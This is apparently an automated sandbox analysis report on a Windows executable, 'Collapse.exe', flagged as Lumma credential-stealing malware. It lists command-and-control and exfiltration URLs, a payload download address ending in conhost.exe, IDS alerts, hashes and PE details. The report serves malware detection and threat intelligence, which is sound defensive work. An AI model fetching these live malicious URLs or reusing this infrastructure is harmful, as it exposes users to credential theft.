https://observerfry.lat/apicatinT	Collapse.exe, 00000006.00000003.1404184317.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1405881150.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.81/conhost.exe	Collapse.exe, 00000006.00000003.1687945451.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1690030321.00000000036B2000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688339547.00000000036AE000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1690013146.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81:80/conhost.exel	Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/C	Collapse.exe, 00000006.00000003.1318726111.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro8	Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat:443/api	Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat:443/apin.txtPK	Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1404122051.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/ve	Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat:443/apiocal	Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/3	Collapse.exe, 00000006.00000003.1318726111.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/apiDesk	Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/	Collapse.exe, 00000006.00000003.1688424834.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/api4	Collapse.exe, 00000006.00000003.1341278669.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339458436.00000000036A8000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339420217.00000000036A1000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339837879.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1364005005.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1363796100.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81/conhost.exe)	Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/apifM	Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.81/p	Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.81/m	Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/apifmvh	Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374993674.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat:443/api%	Collapse.exe, 00000006.00000003.1290803924.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.199.72	observerfry.lat	United States		13335	CLOUDFLARENETUS	false
147.45.47.81	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580146
Start date and time:	2024-12-24 02:16:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Collapse.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/1@1/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 42 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Collapse.exe, PID 3960 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:17:07	API Interceptor	9x Sleep call for process: Collapse.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.199.72	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
147.45.47.81	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	n7ZKbApaa3.dll	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	PqSIlYOaIF.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	Set-up.exe	Get hash	malicious	LummaC	Browse	147.45.47.81/conhost.exe
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/conhost.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	jqplot.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	KNkr78hyig.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	Tsy9P2T9yF.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	kGxQbLOG7s.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	AxoPac.exe	Get hash	malicious	LummaC	Browse	172.67.184.241
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	'Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.199.72
	AxoPac.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	'Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.199.72

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Collapse.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.906890595608518
Encrypted:	false
SSDEEP:	3:SXhRi75n:SC5
MD5:	3A33AF4BC7DC9699EE324B91553C2B46
SHA1:	4CCE2BF1011CA006FAAB23506A349173ACC40434
SHA-256:	226D20C16ED4D8DDDFD00870E83E3B6EEDEDB86704A7BF43B5826B71D61500AE
SHA-512:	960194C8B60C086520D1A76B94F52BA88AC2DDEC76A18B2D7ABF758FFFF138E9EDD23E62D4375A34072B42FBA51C6D186554B1AA71D60835EF1E18BEB8873B1D
Malicious:	false
Reputation:	low
Preview:	1.29548Enjoy!..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.6146050637831415
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Collapse.exe
File size:	540'160 bytes
MD5:	06bb4e80f74838278ce9467788cc6d94
SHA1:	5327b59b123d9e888ae42ef10fcf7fda094909e0
SHA256:	09852f87a7032ed63baf8f840d9bb379efb399e42bcdeedf9f4dff5b1b561c31
SHA512:	59862d2365b05d74a308a0d5f5e4da865759ce409a89c55d71f0c396765a82d4be3cb18a8595adef6b3bfd1d261282dcbffb0b1bb57779691bb2712f160b34b9
SSDEEP:	12288:luB9du8NOZx84E5YoSSt9iLS1gYEtAarDRjAMJMq:u9du88Zx8VAZ2gLeMD9AMMq
TLSH:	26B4E001B490C072C9672477A9B6DBAA453EF9304F22AADFA7880D79DB315D0E731B17
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...WZig..........".................R.............@.......................................@.................................dH..<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40ef52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695A57 [Mon Dec 23 12:40:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5cc7e689f2864a0a9a8589c00efad8df

Entrypoint Preview

Instruction
call 00007FCBB95A2A9Ah
jmp 00007FCBB95A2909h
mov ecx, dword ptr [00436840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FCBB95A2A96h
test esi, ecx
jne 00007FCBB95A2AB8h
call 00007FCBB95A2AC1h
mov ecx, eax
cmp ecx, edi
jne 00007FCBB95A2A99h
mov ecx, BB40E64Fh
jmp 00007FCBB95A2AA0h
test esi, ecx
jne 00007FCBB95A2A9Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00436840h], ecx
not ecx
pop edi
mov dword ptr [00436880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00434AC4h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00434A78h]
xor dword ptr [ebp-04h], eax
call dword ptr [00434A74h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00434B0Ch]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00437E18h
call dword ptr [00434AE4h]
ret
mov al, 01h
ret
push 00030000h
push 00010000h
push 00000000h
call 00007FCBB95AA27Bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34864	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3a000	0x1d70	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30d08	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d008	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34a0c	0x16c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a52b	0x2a600	ca7697ad91eaacd837ed51179759a947	False	0.5367809734513275	data	6.539348053061756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x9d7c	0x9e00	964f1e27d13bf05fbdae349f651c8112	False	0.4288221914556962	data	4.95389314063731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x25e4	0x1600	f9cffcfbe2a982ed0d73caf2c5c26405	False	0.40678267045454547	data	4.770466622070642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x39000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3a000	0x1d70	0x1e00	050a442cf25b388dea29342e31853d9f	False	0.7709635416666667	data	6.524650010128688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x3c000	0x4be00	0x4be00	c8b60e8961dfc7f92b470543f456303f	False	1.0003249845551894	data	7.999427458882808	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

DefWindowProcW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T02:17:07.075896+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	172.67.199.72	443	TCP
2024-12-24T02:17:07.818283+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	172.67.199.72	443	TCP
2024-12-24T02:17:07.818283+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	172.67.199.72	443	TCP
2024-12-24T02:17:09.058332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	172.67.199.72	443	TCP
2024-12-24T02:17:09.821663+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	172.67.199.72	443	TCP
2024-12-24T02:17:09.821663+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	172.67.199.72	443	TCP
2024-12-24T02:17:11.496122+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	172.67.199.72	443	TCP
2024-12-24T02:17:12.704980+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49701	172.67.199.72	443	TCP
2024-12-24T02:17:14.075000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.199.72	443	TCP
2024-12-24T02:17:16.375867+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	172.67.199.72	443	TCP
2024-12-24T02:17:19.765970+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	172.67.199.72	443	TCP
2024-12-24T02:17:22.776587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49726	172.67.199.72	443	TCP
2024-12-24T02:17:26.959139+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49740	172.67.199.72	443	TCP
2024-12-24T02:17:27.729027+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49740	172.67.199.72	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 02:17:05.850352049 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:05.850383043 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:05.850482941 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:05.853123903 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:05.853135109 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.075817108 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.075896025 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.079808950 CET	49699	443	192.168.2.7	172.67.199.72
